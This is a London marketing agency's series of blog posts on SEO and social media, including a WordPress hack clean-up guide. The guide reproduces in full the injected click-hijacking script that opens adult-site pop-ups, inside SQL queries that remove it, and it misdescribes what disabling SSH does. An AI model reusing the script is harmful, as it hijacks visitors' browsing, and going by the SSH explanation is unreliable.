How to encourage Google to recognise your brand

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Getting your business recognised as a brand on Google is a big deal and can take a fair bit of effort, though once achieved it will help grow your business and vastly increase brand awareness . Google's expansive and dominating network allows visibility to people all over the world from a multitude of demographics. With over 300 million active Google+ users and more than 1 billion unique YouTube visitors each month, it’s a network that every business should take advantage of to promote their brand and raise awareness.

Previous case studies show that being recognised as a brand across Google's platforms has resulted in a 400% increase in views, a 340% increase in daily comments and a 275% increase in daily re-shares. As well as a 110% increase in average visitor engagement. 

 

So how do you get recognised?

There is no certain way to become recognised as a brand but there are numerous ways to encourage Google to recognise it, many of which are covered on Google's brand information page. All of the suggested methods involve extensive use of many of Google's platforms, including YouTube, Google+ and AdSense. 

 

The Best: Google+

As expected Google+ is the premier way to raise awareness about your brand, and its increasing integration with the rest of the Google platform makes utilising it a no-brainer. To start off you should create a Google+ for your business, verify the page and then claim your vanity URL - this helps people remember how to get to your page. You can then link your Google+ page to your YouTube account to further increase your reach across the network and then add a Google+ badge to your website to receive, on average, a 38% increase in followers. Additionally, if your brands' online presence is strong enough your profile appears in search result pages (shown in the screenshot above) when your company or brand is searched.

 

Once created, a good Google+ content strategy is vital to raise awareness about your brand and create communities to help build your online audience. Posting quality content through Google+ is ideal due to it appearing in organic search results, encouraging users that you are a business of substance and have a face behind the digital wall. Additionally, using #hashtags on your content will give users searching that a stream of related Google+ posts and expose your content to a wider audience. Popular hashtags gain higher visibility in search results and include mentions across a number of platforms not limited to Google+, including Twitter, Tumblr and any other kind of blog post. By starting a trend across more than one of these platforms your brand will start trending in search results and gain much higher visibility. 

 

The Rest: YouTube, AdSense, Amazon, eBay and Google Shopping

While Google+ is undoubtedly the best way to get recognised as a brand within the Google network, there are a number of other ways to encourage recognition. By linking your YouTube account to your Google+, you can integrate the social functionality of Google+ into your YouTube channel. You will also gain access to new tools for creators, additional channel management capabilities and be able to stream live broadcasts to the world – helping you to reach wider audiences and grow your brands online presence. 

If your business is e-commerce based, you can gain visibility by selling your products on Amazon and eBay, a handy way to also increase your distribution channels and reach more people. By listing your products in more places and having mentions to your brand on high quality sites the ranking of your brand and business within search results will improve, increasing its visibility within search results and its creditability from Google's point of view. Listing your products on these sites will improve your brand's visibility within search results as it is being mentioned on a number of high quality sites. You can then also look into advertising on these sites to further promote your brand and create conversations on a number of new platforms. 

Most importantly though, listing your products on Google Shopping can give you high visibility in the search engine result pages through directly related searches and similar searches. Google Shopping results are used as part of normal search results and in relevant searches shopping results are shown, alongside normal ones. When the suggested Google shopping results are shown they are normally at the top of search results, improving the visibility of your products. Additionally you can also use product campaigns that link your products to AdSense and allow you to easily integrate the launch of a new line of products on Google Shopping with a suitable advertising campaign across Googles platforms to match. 

   

AdSense can also be used in conjunction with Google+ comments to create conversations across the web about your brand and products. You can then have "hangouts" with your followers that are essentially video conferences where you can promote events or new products, answer questions from followers and even give out special offers and promotions. This will help your content surface in search and amplify its presence amongst search, ads and YouTube. 

 

The bottom line

Overall becoming recognised as a brand in Google is a worthwhile endeavour as it will help improve the online presence of your business and improve its promotion as a whole. Although the long process that is not guaranteed to grant success the prospect of a 400% increase in views of your brand or a 275% increase in daily shares of your brand is definitely exciting. 

With Google's continued efforts to further interlink and innovate their own platforms it makes sense to strive to get recognised as brand to improve your visibility across all of Google's high quality platforms. Even if you don't get recognised as brand, branching out and linking your brand on other sites such as eBay, Amazon and Google Shopping will increase the reach of your brand, as well as giving you additional distribution channels in the case of the online shopping sites. 

 

To find out more about how to improve the visibility of your brand online and in Google search results specifically, give Frank a call on +44 20 7097 8906. Frank is the founder of Orchid Box, a online marketing agency based in London.

 


 

HTTPS will give you a boost in ranking (Google Update)

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Google recently announced that they have starting using HTTPS as a ranking signal in their search results. This comes after news they called for "HTTPS everywhere" in order to attempt to make the internet safer, at the recent Google I/O in June. 

The decision to use HTTPS as a ranking signal was likely backed by Google's desire to make their services safer and more secure, this therefore having a knock-on effect for the internet as a whole. 
 
 
In the past Google has taken similar steps to improve internet security by placing a strong HTTPS encryption on all of their services by default. This includes Google Drive, Gmail and Search and gives anyone using these services a secure connection to Google. They have also created guides and resources that explain how webmasters can fix and prevent security breaches on their websites. It is clear then, that security is something Google are passionate about as they move to make the websites their users access from their search engine more secure and safe. 
 
From a test signal Google experimented with, the results were positive. This test involved looking at whether website have encrypted their pages, and therefore created secure connections. As a search signal affects Google search result rankings, Google started using HTTPS as a ranking signal
 
At the moment, it isn’t a very significant signal affecting less than 1% of global queries, but this is purely so webmasters have that time to switch to HTTPS. Other signals such as high quality content currently carry more weight than HTTPS but Google have stated their desire to strengthen it over time in order to encourage website owners to start using more secure HTTPS connection.
 
HTTPS works by securing information via Transport Layer Security Protocol (TLS) and this provides three important layers of protection:
 
1. Encryption - encrypting the data that is exchanged so as to secure it from eavesdroppers. This means that while a user is browsing a website, no one can steal their information, track their activities across a number of pages or "listen" to their conversation.
 
2. Authentication - proving that your users communicate with the desired website. This protects against man-in-the-middle attacks and helps build user trust which translates into other business benefits.
 
3. Data integrity - prevents data being modified or corrupted during transfer, whether it is intentionally or otherwise, without being detected.
 
 
 
Getting webmasters on board with the switch to HTTPS might be a struggle for Google, but in order to help make the adoption of HTTPS easier they have given some basic tips and best practises in order to make the transition smoother and help avoid unwanted mistakes. Here are some of their basic tips to help you get started:
 
Work out which kind of certificate you will need: single for a single secure origin, multi-domain for multiple well-known secure origins or wildcard for a secure origin with a number of dynamic subdomains
Make sure you use 2048-bit key certificates
Use relative URLs for resources that are present on the same secure domain
Then use protocol relative URLs for every other domain
Avoid blocking your HTTPS site from crawling by using robots.txt
Allow the indexing of the pages on your site by search engines wherever possible; avoid the noindex robots meta tag.
 
With Google's desire to make their search safer, it is clear that adopting HTTPS is something that all webmasters should do, not only to protect themselves but also to help boost their rank in search results. By switching to a HTTPS connection, the benefit in search rankings webmasters will slowly increase as Google looks to steadily increase the weighting of HTTPS as a ranking signal. Switching to HTTPS is a relatively easy process, especially so with the availability of Google's own tips and best practises to ensure the transition is a smooth one, allowing your website to prosper, instead of encountering any problems. 
 
To find out more ways to improve your websites ranking in search results or if you just want a chat give Frank a call on +44 20 7097 8906. Frank is the owner of Orchid Box, a boutique marketing agency based in London.
 

 


 

WordPress is hacked again: cashnude.com exploit hack solved

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Over the years, we have seen plenty of WordPress hacks and thankfully they are usually fairly easy to diagnose. This bank holiday Monday we have fought a nasty one from cashnude.com a spammy website which opens up an adult chat as a pop up, under your site.

  

Just follow these simple steps to get rid of this nasty code injection:

1. The first thing you want to do is change your FTP (File Transfer Protocol) password, this is just an extra precaution encase your password has been comprised. Regardless it's always good practise to change your password on a regular basis, and may even help avoid more serious exploits from affecting you in the future.

 2. Next you want to disable SSH (Secure Shell) access to your server; this stops your server from sending or receiving encrypted data from WordPress to avoid any sensitive data like passwords being compromised or the code injection from spreading further.

3. Finally, you want to log in to your PHPMYADMIN and run the following query:

 

 update wp_posts set post_content = replace(post_content, '<script type="text/javascript">// <![CDATA[

function consoleLog(e){try{console.log(e)}catch(t){}}(function(e,t){function n(){if(!s){s=true;for(var e=0;e<i.length;e++){i[e].fn.call(window,i[e].ctx)}i=[]}}function r(){if(document.readyState==="complete"){n()}}e=e||"docReady";t=t||window;var i=[];var s=false;var o=false;t[e]=function(e,t){if(s){setTimeout(function(){e(t)},1);return}else{i.push({fn:e,ctx:t})}if(document.readyState==="complete"){setTimeout(n,1)}else if(!o){if(document.addEventListener){document.addEventListener("DOMContentLoaded",n,false);window.addEventListener("load",n,false)}else{document.attachEvent("onreadystatechange",r);window.attachEvent("onload",n)}o=true}}})("docReady",window);var aMs=document.getElementsByTagName("a");var amSwindow=false;docReady(function(){for(var e=0;e<aMs.length;e++){aMs[e].addEventListener("click",function(e){var t=Math.floor(Math.random()*2+1);consoleLog("ps:"+t);if(t==2){if(!amSwindow){amSwindow=window.open("http://fish-14j-js.cashnude.com/","NEI","width=10000,height=10000")}else{amSwindow.focus()}}},false)}})

// ]]></script>', '') where post_content like '%<script type="text/javascript">// <![CDATA[

function consoleLog(e){try{console.log(e)}catch(t){}}(function(e,t){function n(){if(!s){s=true;for(var e=0;e<i.length;e++){i[e].fn.call(window,i[e].ctx)}i=[]}}function r(){if(document.readyState==="complete"){n()}}e=e||"docReady";t=t||window;var i=[];var s=false;var o=false;t[e]=function(e,t){if(s){setTimeout(function(){e(t)},1);return}else{i.push({fn:e,ctx:t})}if(document.readyState==="complete"){setTimeout(n,1)}else if(!o){if(document.addEventListener){document.addEventListener("DOMContentLoaded",n,false);window.addEventListener("load",n,false)}else{document.attachEvent("onreadystatechange",r);window.attachEvent("onload",n)}o=true}}})("docReady",window);var aMs=document.getElementsByTagName("a");var amSwindow=false;docReady(function(){for(var e=0;e<aMs.length;e++){aMs[e].addEventListener("click",function(e){var t=Math.floor(Math.random()*2+1);consoleLog("ps:"+t);if(t==2){if(!amSwindow){amSwindow=window.open("http://fish-14j-js.cashnude.com/","NEI","width=10000,height=10000")}else{amSwindow.focus()}}},false)}})

// ]]></script>%';

 

 Additionally, you'll want to run the second query below.

 

 update wp_posts set post_content = replace(post_content, '<script  type='text/javascript' rel="f179568d5746648ce97a252d9b3db074">

function consoleLog(e){try{console.log(e)}catch(t){}}(function(e,t){function n(){if(!s){s=true;for(var e=0;e<i.length;e++){i[e].fn.call(window,i[e].ctx)}i=[]}}function r(){if(document.readyState==="complete"){n()}}e=e||"docReady";t=t||window;var i=[];var s=false;var o=false;t[e]=function(e,t){if(s){setTimeout(function(){e(t)},1);return}else{i.push({fn:e,ctx:t})}if(document.readyState==="complete"){setTimeout(n,1)}else if(!o){if(document.addEventListener){document.addEventListener("DOMContentLoaded",n,false);window.addEventListener("load",n,false)}else{document.attachEvent("onreadystatechange",r);window.attachEvent("onload",n)}o=true}}})("docReady",window);var aMs=document.getElementsByTagName("a");var amSwindow=false;docReady(function(){for(var e=0;e<aMs.length;e++){aMs[e].addEventListener("click",function(e){var t=Math.floor(Math.random()*2+1);consoleLog("ps:"+t);if(t==2){if(!amSwindow){amSwindow=window.open("http://fish-14j-js.cashnude.com/","NEI","width=10000,height=10000")}else{amSwindow.focus()}}},false)}})

</script>', '') where post_content like '%<script  type='text/javascript' rel="f179568d5746648ce97a252d9b3db074">

function consoleLog(e){try{console.log(e)}catch(t){}}(function(e,t){function n(){if(!s){s=true;for(var e=0;e<i.length;e++){i[e].fn.call(window,i[e].ctx)}i=[]}}function r(){if(document.readyState==="complete"){n()}}e=e||"docReady";t=t||window;var i=[];var s=false;var o=false;t[e]=function(e,t){if(s){setTimeout(function(){e(t)},1);return}else{i.push({fn:e,ctx:t})}if(document.readyState==="complete"){setTimeout(n,1)}else if(!o){if(document.addEventListener){document.addEventListener("DOMContentLoaded",n,false);window.addEventListener("load",n,false)}else{document.attachEvent("onreadystatechange",r);window.attachEvent("onload",n)}o=true}}})("docReady",window);var aMs=document.getElementsByTagName("a");var amSwindow=false;docReady(function(){for(var e=0;e<aMs.length;e++){aMs[e].addEventListener("click",function(e){var t=Math.floor(Math.random()*2+1);consoleLog("ps:"+t);if(t==2){if(!amSwindow){amSwindow=window.open("http://fish-14j-js.cashnude.com/","NEI","width=10000,height=10000")}else{amSwindow.focus()}}},false)}})

</script>%';

 

These two queries will remove the code that seems to be causing the exploit that is present on every page. The code was recording what the user clicked on, on each page and when they clicked it was opening up an adult chat under your site. By removing the code the pop up is no longer present and the code injection can be purged.

We can also use Majestic Neighbourhood Checker to check the sort of other sites hosted on the same IP to get an idea of any other sites that may potentially contain viruses to be aware of. 

 

Viruses, worms and trojan horses are all things to be vary of when using the internet as they are ever present online. In order to further protect yourself further from the threat these pieces of malware pose you should be wary using sites that you haven’t heard of or that look a bit dodgy and ensure you change your password on a regular basis, especially straight after any piece of malicious software has been dealt with. When you believe something might be infecting your website or your computer investigating it further and seeking help online are the best options for ensuring it doesn’t cause too much damage.


 

Drive greater social media traffic by playing the right Twitter Cards!

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The ever prominent presence of social media in online marketing presents a unique opportunity to open up new streams of internet traffic to ensure continued success. This reduces a reliance on Google-specific organic traffic, producing a more reliable and diverse online marketing plan. 

Companies are continually trying to make the most of all the social media platforms available to them and you do not have to look far to see that those who do it well reaps the rewards. Therefore any marketing tools that can be used on social media are widely sought after and anyone serious about their social media platforms will be sure to take advantage of these. There are a large number of such tools available at the moment, including paid for services like Facebook's promoted posts and Twitter's promoted tweets, as well as paid for ads available on both sites. 

However, there is one tool that is free and easy to use and helps drive social traffic to something greater. Twitter's "Twitter Cards" allow users to expand their tweets by adding extra features such as larger images, videos and product showcases. There are a number of different Twitter cards than can be used and they are suitable for a wide range of situations, these include promoting new products, showcasing a newly developed app or sharing a video or image. 

 

The different types

The wide variety of Twitter Cards available help to cater the kind of card used so the best consumption experience can be offered to the audience, a brief summary of each type and what they are most effectively used for will be given below.

Summary Card and Summary Card with Large Image

The summary card is the default card and includes a title and description with a thumbnail and Twitter account attribution. The summary card with a large image is similar to the standard summary card but features a prominent, large image (shown below).

 

Photo Card and Gallery Card

The photo card simply features a large photo next to the selected tweet; users can then click on this image to view a larger, higher quality version of the image. The gallery card highlights a collection of up to four photos instead of just one; again each photo in the gallery can be clicked to view a larger, richer version. 

Player Card

The player card is used to provide video or audio based media, similar to the image based cards. The video or audio based media can be played within the tweet but there is also a link provided to the original location of the content.

Product Card and App Card

The product card is the card of choice when looking to promote a product. The card is optimized for product information and displays the products' main details, as well as an image of the product and a link to where the product can be viewed (see example of a product card above). Similarly the app card is excellent at promoting new app downloads, displaying all of the relevant information of the app, as well as a description of what the app does and a link where the app can be downloaded. 

Lead Generation Card

Lead Generation cards (shown below) help to drive lead generation for your product or service by making it easy for people to express interest in any offers your business has available. Through a link provided on the card, users can sign up for offers, subscribe to emails and many other related activities. This makes it easy for users to express their interest in a product or service, increasing the potential outreach of businesses' offers.

 

Website Card

You can feature your website in a post using a website card in order to help drive click through traffic. The card displays an engaging image along with additional information about the website in order to try and drive even more traffic from Twitter to the linked website. By using the website card users will see more content about the site as well as a headline, instead of just the hyperlink that would be present in a regular tweet.

 

But surely they are hard to set up?

Actually no, the majority of the available cards can be produced by simply adding a couple of meta tags to your website, this allows your content to be linked and featured in the cards. After adding the meta tags you need to enter the URLs of the tweet you want the cards to appear on into a validator tool to be approved and once they have been approved the card will appear below your tweet. 

The more interactive cards require a bit more set up; this includes the website and lead generation cards. To set up these cards a Twitter Ads account is needed and from here these cards can easily be created. If it's all a bit confusing don't worry! Twitter's guide to Twitter Cards will give you a more detailed explanation of how to set up each card.

Once the cards have been set up you can actually review their performance using Twitter Card analytics, allowing you to see how you can improve key metrics such as app downloads, URL clicks and Retweets. The analytics also provides other useful information such as the number of impressions your cards have made and how many URL clicks, app install attempts etc. this lead to. 

 

Ultimately, Twitter Cards are an extremely useful marketing tool that can help drive your social media traffic, by making your posts stand out in a wall of text. The different types of cards available allow twitter cards to be catered to have different desired effects and are suitable for a wide range of situations. They can are powerful marketing tool that can drive engagement and action amongst users, while also being easy to set up and follow their progress. Hence, twitter cards are a tool that every company that has a twitter presence should use to further improvement their presence on social media websites.

If you are looking to more effectively use social networks sites such as Facebook or Twitter as a marketing platform, or just want to find out more about improving your online presence as a whole get in touch with Frank at +44 20 7097 8906. Frank is the founder of Orchid Box, a boutique marketing agency based in London.

 

 

Local businesses take off with Google's new Pigeon update.

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When Googles' new Pigeon update was released on the 24th July it was met by mixed reactions with some experts saying that the results would be beneficial to them and others stating that they would not. Not much is known of the actual changes that this update will bring as the details are being kept largely secret but the fact that Google has mentioned it means that it is a significant update.

With the update Google has moved to improve the distance and location ranking parameters and delve deeper into web search capabilities through the use of search features like Knowledge Graphs, a massive collection of real life topics and their connections, spelling correction and more.

A greater emphasis has been placed on the searcher's location in search engine results pages and this is one of many developments that this update has brought about. This improved focus will lead to more organic local results being shown, resulting in more useful, relevant and accurate local search results being provided. An example below shows how the results of a search for "ice cream" have developed with the introduced of the Pigeon update.

Before the update was introduced the search gave some general results which were not necessarily local or relevant for the searcher as they were not in close proximity to the searchers current location. The search results given before the update are shown below.

After the update was implemented much more localised results are given, highlighting how the distance and location parameters have been improved and how Google have switched their focus to providing more relevant, local search results.

However, it has also been noted that local directory sites have been getting increased visibility and on occasion have been appearing above individual locations such as restaurants and hotels. A search for "London Hotels" brings back a list containing solely directory style pages in the organic results (shown below), with individual hotels not appearing until the second page of search results. These include URL's from Expedia, londontown, travelsupermarket, hoteldirect and lastminute.com. 

Additionally, the update is known to have also fixed a problem with yelp results appearing below results for Google+ and other pages, even if the user specifically included "yelp" in their search query. The results will now show yelp results above all other results, when "yelp" has been included in the search query, including the websites and pages of the restaurant or establishment itself (when "Da Vinci's Restaurant yelp" is searched, for example).

Thus, it isn't clear whether the new update will increase or decrease web site referrals for businesses in general. What is clear is that Google has taken a big step towards providing more relevant, local search results and has also boosted the visibility of local directory in search results as a result of this update. 

 

Finally, Google has altered the way we carry out search, changing the way we see local results and how we use directory based sites to find the information we require. As a result of this some small businesses will benefit significantly from now being placed on localised results due to becoming more prevalent in the carousel and in Google and Google Maps search results, due to them being based in close proximity to the searcher's location. Other, larger business may get pushed out of search results due to the increased visibility of directory based sites, affecting their performance as a result of the new Pigeon update.

To find about more about search and Search Engine Optimisation (SEO) for you and your business give Frank a call on +44 20 7097 8906. Frank is the founder of Orchid Box, an online marketing company based in London.


 

First authorship is scrapped, now video snippets are snipped as Google moves to favour its own media properties.

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It seems that Google can't be pleased when it comes to the presentation of their search results. Reports have indicated that there has been a huge 44% reduction in the number of video snippets present in search results. A report by SEER interactive which shows the number of video snippets for a "iPhone 5 review video" search had fallen from 10 videos across 10 domains to  5 videos across 3 domains over the course of just 5 five days. 
 
A number of large sites such as Amazon, Zappos, New York Times and Boston.com have been the worst affected by a 28% drop in video thumbnails, according to Mozcast (shown below).
 
 
Some sites however have not been affected by this change and these include the Google-owned Youtube, which have the monopoly of video snippets in search results at 74.8% (shown below), as well as Vimeo and Vevo.com. 
 
 
This development comes less than a month after Google announced it would removing the profile photo and circle count from authored results in the Google search.
 
Talking about youtube have you seen this? You can watch Youtube videos within Google result pages.
 
 
So, it seems that Google is finding excuses to favour its own property, using visual improvements to search results. 
 
Could this this mean that video thumbnails will be completely removed from search at some point in the future? 
 
A Google spokesman stated that "We'll continue to show video snippets where it's relevant" and separately Google's John Wueller wrote "We're still showing video snippets, seeing changes from time to time is normal" on his Google+ page .
It is clear that, like Google authorship, video thumbnails are just being revised instead of removed completely; this shows that Google is constantly testing and getting user feedback.
 
 
What shall I do now?
 
Well, as Youtube will be The Video Channel of choice, we suggest starting a YouTube marketing campaign for your website. Competition isn’t as bad as traditional search (Adwords) and £500 could buy you 20,000 views or more.
 
This will increase your visibility online through an additional channel. Moving your reliance on Google to a more multi-channel marketing approach will make your business less dependent on Google’s random update that leaves your business vulnerable and could even destroy its presence in days.
 
If you want any advice on Video Marketing on Youtube, get in touch with Frank@orchidbox.com  from OrchidBox.com a boutique software agency based in London.
 
Orchidbox, always thinking, always helpful….

 

Size Matters. The route to better content strategy through adaptation for all device screen sizes.

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Whether we like it or not, it is human nature to judge a book by its cover and when it comes to viewing content the presentation and suitability is vital in determining its success. 

The constant changing nature of content consumption presents a challenge to content producers: ensuring their content is suitable for all devices (smartphones, laptops/PCs and tablets). Facebook released gargantuan ad figures of $2.5 billion for the Jan-March quarter earlier this year and the majority of this figure was made up of mobile-based advertising, the first time mobile devices have outperformed PC's. It is clear then that a more complex content strategy is needed to take better advantage of the multitude of platforms used by content consumers today.

Multi-screen usage

It can be seen that the key to creating the best content to be used on a range of devices is to understand their behaviour and usage patterns. From this a greater knowledge of why, when and how devices are used can allow improved content to be created. 

To gain the desired deep understanding we would need to identify; the most prominent type of content viewed on each device, when each device was used and how long we spend on each device during an interaction.  

 

The person behind the screen

So far I have stressed that the key to exceptional multi-platform content is to focus on a devices usage patterns, although this is important there should also be a focus on the user who is trying to access your content on their device. By understanding the needs of the user you can create content that is better aimed at the necessary audiences.

Through the segmentation of your audience you can separate each "segment" of your audience, giving them a clearly defined set of needs and traits. For example, one segment of your audience might be men over 30 who like to catch up with news on their smartphones during their commute to work. 

By defining each segment of your audience a better idea will be gained of how you can produce content that either a certain section of your audience or the entirety of it will find interesting and useful, ensuring that throughout content creation a key focus is being placed on your audience.

Usage-Why, when and how

Understanding what your audience use each device for and their behaviours when using them allows content to be aimed at consumption for specific platforms. Thus ensuring it remains relevant and suitable for the platform it is being aimed at. Recently carried out research has enabled us to gain a better idea of when devices are used and what they are used for (table shown below).

 

A number of conclusions can be drawn from this research that helps us identify how to aim content at each device in the most suitable manner.

Tablets are typically used at the start and end of the day, as well as the weekends, and are used to keep us entertained and help us to relax. As a result of this, tablets are increasingly being used to carry out research, as well as online shopping, with their medium interaction time (from the graph shown below). 

Tablets are becoming the number one device for sellers in term of conversion, making them a critical platform for online sellers. Furthermore, users are leaving more reviews on tablets than other devices so ensuring the review and comment system is fluid and responsive is similarly vital.

Smartphones are clearly the most mobile of devices and so are suitably used during the peak commuting hours, as a result of this they are used mainly for small chunk browsing for quick updates and news stories. A recent study by Google has identified how much time we spend on average when we use our smartphone, tablet or PC, the results from this study are shown below. 

 

Smartphones have the shortest average interaction time, meaning that users will want to find their desired content quickly. Accessibility and touch screen navigation support is therefore vitally important for mobile devices as users will be moving around multiple blog posts and the ever popular social media, allowing greater content consumption.

Small, easy to understand list and image heavy posts are the most suited for smartphones and it is critical to ensure the responsiveness of content is high.

Desktop Computers are the easiest platform to produce content for as it is the device that has been used for the longest and it has allowed us to gain experience with producing content for this platform. 

Longer, more in-depth articles come into their own on desktop computers as we spend more time during interactions with a desktop computer, however all content forms work well on this platform. A more interactive experience should be offered on desktops to take advantage of their superior browser capabilities over the other devices and to harness the full potential of a larger screen experience.

For all devices it is imperative that your content is easily accessible to your desired audience. A consistent content experience and a clear, easy to use menu structure will make it easy for users to come back to content they have already viewed and continue searches when switching devices. 

Content Design

This may all seem very daunting; having to ensure content always stays focused on the audience whilst also factoring in the differing behaviours and natures of each device. The way to consistently accomplish these two important areas is to have a structural plan which is checked as content is produced. 

The main areas to cover in such a structural plan include the following:

  • Ensuring you meet the needs of all segments of your audience
  • The continued creation of content that is suitable for each device; smartphone, tablet and PC
  • The use of different content types that are relevant to your auidence (articles, blog posts, info graphics etc.)
  • The use of features like images, lists and graphs to keep content interesting and unique for every device platform

This will help you to produce continually relevant and suitable content for all platforms and not be left behind by the ever changing dynamic that is content consumption.

By creating content that is suitable for any device you can achieve the best content strategy possible, taking advantage of the wide audience that exists when combining that of each device platform.

At Orchid Box we are experts on search and content, to find out how to improve your content's visibility in search results call Frank on +44 20 7097 8906.


 

Remember the little photos next to some Google search results??

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Well they're gone...!!

3 years after it was released, Google are removing the little images that appear next to authored content that was originally so popular. initially, Google authorship was widely acclaimed as it allowed content producers to improve the visibility of their content in search results and  it was simple to get authored content. Lately, Google has cut back on the amount of authorship content shown, improving the overall quality of the author snippets and thus making authorship a greater sign of quality.

With the proposed changes, the by-line of the authored content will remain, but author photos and the circle count (number of times that article had been shared amongst Google+ users) will be removed completely from the search result.

The old authorship design (shown below) was more distinguishable in search results due to the presence of the author photo next to the search result.

 

The new design (shown below) removes the photo completely so that only a by-line with the author's name is visible, thus making the search result harder to stand out among all search results.

 

Why were author photos  removed?  

Perhaps loading search results on mobile devices would be faster and free up space on the small screens of mobile devices ?  Google found that the number of times the simpler authorship results were clicked was similar to the previous design; making the photos  somewhat obsolete.

Although we can no longer use author photos as a tool to improve the visibility of content, Google authorship still matters. Authorship indicates to the searcher a sign of quality that isn't present in non-authored results. Even though the authored results will be less visible amongst search results, the fact that Google has simplified the presentation of authorship results instead of getting rid of them entirely shows that they are still committed to using author authority as a search factor.

So, authorship is something we can still use to improve the visibility and image of content in Google search results.

If you’d like to know more about the subtleties of search and content, and how this affects your brand profile, please call frank for an initial consultation: +44 20 7097 8906

Check out our Google Plus page: https://plus.google.com/+Orchidbox/

 

 


 
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